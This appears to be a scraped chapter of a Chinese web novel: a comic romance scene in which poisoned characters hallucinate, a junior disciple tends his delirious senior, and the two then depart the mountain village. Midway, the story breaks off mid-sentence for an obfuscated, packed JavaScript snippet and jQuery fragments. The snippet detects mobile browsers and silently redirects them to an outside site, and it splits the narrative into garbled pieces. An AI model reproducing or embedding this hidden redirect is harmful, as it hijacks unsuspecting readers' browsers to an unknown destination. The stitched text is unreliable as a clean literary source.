104. 春心乱(十二)

作品:《宋师兄今天掉马了么

    池水翻腾,宋岐灵宛若一只误饮黄汤的泥鳅,在这方天地胡乱搅动着,胡言乱语,神志不清。


    顾连舟无措地看着师兄在他身上为非作歹,一会儿称呼他为“猪仔”,一会儿又称他为一方灵池培育出的神兽,哭笑不得。


    “师兄,你可看清楚了,我是谁?”他单手揽过宋岐灵的腰,往上提了提,确保她不再往下沉。


    忽见这粉白圆乎的猪仔张嘴说话,宋岐灵登时眼睛一亮,捧着猪仔的脸便夸:“你……你果真成精啦,猪大仙,你,你……”


    盯着这只圆滚滚的猪仙看了半晌,她的目光落下它在水面沉浮的四条腿,终是忍不住,问出声来:“你的腿这么短,是如何漂浮在水面的。”


    似是想到了什么画面,她“噗嗤”笑道:“是我愚钝,猪大仙有仙术,自然可以在水中来去自如。”


    有理有据,令人信服。


    见这猪仙与她见过的黑猪着实不同,眼睛恍若漆黑的宝石,浓密纤长的睫毛以缓慢的速度冲她忽闪忽闪,圆润到完美的猪鼻子……以及粉嫩可人的猪嘴……


    这是一只与众不同、完美的猪。


    宋岐灵咽了咽口水,双手合十,虔诚而礼貌地冲猪仙拜了拜,“好猪仙,好猪仙,今日你行一善,他日我定为你焚香祈福。”


    乱七八糟地说了一通,她便沿着猪仙光滑而富有弹性的皮子上轻抚而过,只觉沾了一手的福气。


    猪仙好,猪仙没有跑。


    她唇角微扬,盯着猪仙闪亮的眸子,没有松手。


    温热的指腹划过那块微凉的皮肤,便见猪仙以肉眼可见的速度变得粉红。


    哦嚯。


    晶莹剔透的粉色猪仔。


    覆于猪腹上的手微蜷,沿着轨迹轻轻揉-捏一番,却觉猪身陡然一僵。


    梆硬,不好摸。


    顾连舟垂眸看着在自己胸前肆无忌惮乱摸乱划的师兄,耳根红得几欲滴血。


    “师兄,你清醒一点。”他攥住师兄的手腕,再顾不上药浴,揽着人便往岸边趟去。


    如此再耽搁下去,神志不清的师兄怕是要做出其他惊世骇俗的事情。


    池水“哗啦”作响,顾连舟几乎是半抱半托着宋岐灵上了岸,凉气瞬间包裹住两人湿透的身躯,激起一阵细微的战栗。


    宋岐灵下意识地往身侧唯一的热源靠去,嘴里含糊地念着:“这是要给我的仙气散了啊……”


    叫她这么一蹭,顾连舟艰难地深吸一口气,压下心头的异样,这才将几乎挂在自己身上的人扶到池边一块稍平整的石头上坐稳,轻声安抚道:“师兄,稍安勿躁。”


    他蹲下-身,从石架上取过备好的干净里衣,指尖方触及宋岐灵湿透的衣襟,正要解开时,动作却骤然停住。


    师兄向来不与人共浴,更衣时也总要屏退左右。即便此刻神志不清,若明日醒来发觉被人看了身子,以他的性子,怕是会又羞又恼。


    指尖犹豫地停留了片刻,最终缓缓收回。


    他转而取过石屏上的外袍,仔细抖开,然后小心翼翼地将师兄整个裹住,确保从肩头到脚踝都被严密地包裹起来,不让一丝寒风吹入。


    做完这一切,他才稍稍退开些许,就着蹲跪的姿势,仰头看向被裹在袍子里的师兄。


    宽大的外袍几乎将宋岐灵整个人都吞没了,只露出一张泛着红晕的脸蛋,湿漉漉的眼睫低垂着,似乎对这温暖的包裹很是受用,冲他咧嘴笑道:“好师弟。”


    顾连舟:“……”


    这会子倒是认出他来了。


    他无奈地摇了摇头,拿起另一件衣袍,背过身去,擦干身上的水珠,将自己的里衣穿上。


    一番折腾过后,两人回到了竹院,却见柳岱独自坐在桌旁,见有人过来,抬手招呼道:“来,请坐。”


    顾连舟目光扫过桌案上几块沾满泥巴的石头,狐疑道:“柳兄,你这是……”


    话未说完,忽觉臂弯一松,师兄已踩着碎步走上前去,拉过凳子一屁股坐下,冲柳岱露出笑来:“神医,请替我看看罢。”


    顾连舟:“?”


    师兄此般行径倒是歪打正着,怎么不算“病急乱投医”呢?


    柳岱捋着下巴上并不存在的胡须,若有所思盯着桌上的石头瞧,稍顷,摇头叹息道:“阁下面色饥黄,两颊瘦削,我劝你莫要再熬夜了,眼下青黑都快蔓延到印堂了。”


    “啊。”宋岐灵抬手摸了摸自己的额头,忧心忡忡道:“那有什么办法可以缓解这症状么?”


    柳岱伸手在那石头上搭了片刻,旋即触电般地缩回手,惊疑不定道:“你都硬了、凉了,这是死透了啊,怎么还能说话?”


    说到后头,他骂骂咧咧地起身,抓起那石头便往远处丢去,“大胆妖孽,竟化作人形来戏弄老夫,该死!”


    宋岐灵哪里听得了这个,当即站起身,指着柳岱怒骂:“老匹夫,你说谁是妖呢?吾乃大名鼎鼎的捉妖师,我……”


    话未说完,便觉眼前闪过一片刀光剑影,却见一片云霞雾绕中,身披金甲的英俊男子手持宝剑,从天而降。


    一时间,她竟看呆了。


    “呔!”却是俞七自竹屋后破门而出,提起门边的锄头,对着半空振振有辞,“哪里有妖?哪里有妖啊?”


    院子里唯一的妖:“……”


    沉默良久,顾连舟走上前,拉住师兄的手腕便一旁走,想了想,又分出两根菟丝子,隐去踪迹,将柳、俞二人捆了,一并摁在竹凳上。


    估摸着是修明回家后发作,惊动了宗主,这位白发苍苍的老医者背着箩筐摸来这间小院,替几人喂了药丸与水,这才温声嘱咐顾连舟:“修明说那菌子是炒熟了的,只是放久了,又回生了,这才残留了些许毒性,你们下回记得趁热吃,趁熟吃。”


    顿了顿,忽又想起正事,宗主指着对着空气说胡话的几人,“晚饭就不要给他们吃了,且饿上一夜,待明日清醒了,再给他们喝些稀粥。”


    闻言,顾连舟忙点头应下。


    送走了宗主,他去而复返,看着几人心情复杂,尤其是俞七与柳岱。


    只见这两人对着门前的歪脖子树争执不下,柳岱说这是个落枕的姑娘,而俞七非说这是只成了精的癞蛤蟆。


    两人越吵越激烈,若不是被菟丝子捆缚,怕是要打起来。


    顾连舟缓缓叹了口气:“这便是医者不自医罢……”


    再看师兄,此刻却异常安静,眼中好似笼着淡淡的忧愁,教人看了心头一紧。


    他忍不住近前,低声问道:“师兄,你怎么了?”


    话音落下,便见宋岐灵抬眼看来,幽怨道:“师弟,你先放开我,我身上湿漉漉的,难受得紧。”


    是了,他竟如此粗心,竟忘了师兄还穿着身湿透的衣衫。


    他忙松开菟丝子,将人放进屋里换衣裳,自个儿则站在门前等候,眼看着天色渐暗,腹中饥焰中烧,又发起了愁。


    平日里不甚在意的饥饿,在此刻变得尤为磨人,好似钝刀子磨人,叫他生出一股破坏欲来。


    思来想去,他垂下眼睫,分出几缕菟丝子往深山游去。


    似是感知到他的想法,离体的菟丝子恍若荒野猎人般,凭借着敏锐的感知,在丛林深处寻找妖气的踪影。


    -


    翌日,天光微亮,晨露未晞。


    竹院内一片寂静,与昨日


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16365873|182273||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的鸡飞狗跳判若两地。


    阳光透过枝叶缝隙,洒落在地。


    宋岐灵缓缓睁眼,只觉头痛欲裂,恍若宿醉一般,她揉着太阳穴坐起身,昨日种种光怪陆离的碎片记忆争先恐后地涌入脑海。


    翻腾的池水、圆润的猪仙,以及自己那些荒唐的举动和胡言乱语……


    “……”


    记忆回笼的瞬间,宋岐灵的脸瞬间涨得通红,恨不得立刻找条地缝钻进去。


    “吱呀——”


    门被轻轻推开,顾连舟端着一碗清粥走了进来,见宋岐灵醒来,脸上闪过一丝窘迫:“师兄,你醒了,宗主吩咐,今日只能先用些清粥。”


    他声音平稳,神态自若得好似昨日什么都没发生一般。


    宋岐灵含糊地应了一声,翻身下床,也顾不上洗漱便坐于桌前,埋头苦吃,根本不敢看师弟的眼睛。


    粥碗见底,她才清了清嗓子,目光却仍盯着空碗:“昨日之事……多谢师弟照料,辛苦你了。”


    顾连舟眼帘微垂,伸手拾起那空碗:“分内之事,师兄无恙便好。”


    宋岐灵悄悄抬眼,不知是不是她的错觉,师弟经此一夜,似乎憔悴了许多。


    既提及昨日,她顺势道:“我们在此养伤已耽搁了不少时日,如今你既已大好,也是时候该离开了,你意下如何?”


    顾连舟闻言,沉吟片刻。


    他能清晰地感受到体内对更精纯、更充沛妖气的本能渴望,青云溪难以满足他日益增长的需求,甚至隐隐有种被束缚的感觉。


    更何况……


    他抬眼看向师兄。


    因为自己负伤的缘故,师兄匆匆离开南城,想来此行势必要回去为自己的事情做一个了断才肯罢休。


    耽搁的这些时日,他怕是早已等不及了吧?


    思及此,他点头道:“师兄所言极是,我已无大碍,确实不应再久留。”


    商议已定,两人一前一后走出屋子,但见柳岱正坐在院中石凳上品茶,而俞七则在一旁虎虎生风地打着拳,精神头十足,显然都已恢复正常。


    听闻两人要走,柳岱倒也没多挽留,对顾连舟招招手:“来,我给你把个脉。”


    两人坐于桌前,顾连舟依言伸出手腕。


    柳岱三指搭上脉门,闭目凝神细察。


    片刻后,他猛地睁开眼,上下打量着顾连舟:“你这身体……”


    顾连舟眉头微挑:“如何?”


    柳岱松开手道:“脉象平稳充盈,五脏之气畅通无阻,何止是病痛全消,简直比寻常康健之人还要旺盛几分。”


    说到这儿,他忍不住轻笑一声,摇了摇头:“短短数日,竟有如此造化……当真是怪哉。”


    顾连舟自己也有感知,体内那股源源不断的生机确实远超以往,他微微颔首:“想来多半是药泉之功,还要多谢柳兄连日来的照拂。”


    柳岱啧啧称奇:“是你自己的造化,我也没做什么,罢了罢了,既如此,那药泉也没必要继续泡了,你们收拾收拾,便下山吧。”


    另一边,俞七听说要走,脑袋摇得像拨浪鼓:“先说好了我不走,这山里多好玩,兔子肥,菌子鲜,还没人管,你们自个儿下山去吧!”


    宋岐灵知他性子野,拘不住,与顾连舟对视一眼,便也由他去了。


    柳岱倒是乐得有个伴,没说什么。


    主意既定,两人便向村中众人辞行。


    村民们淳朴热情,虽相处时日不长,却纷纷送来些山货野味、干粮补品,直把两人的行囊塞得满满当当。


    宋岐灵与顾连舟再三道谢,辞别了一众,经由修明领路,沿着来时的路,向山下走去。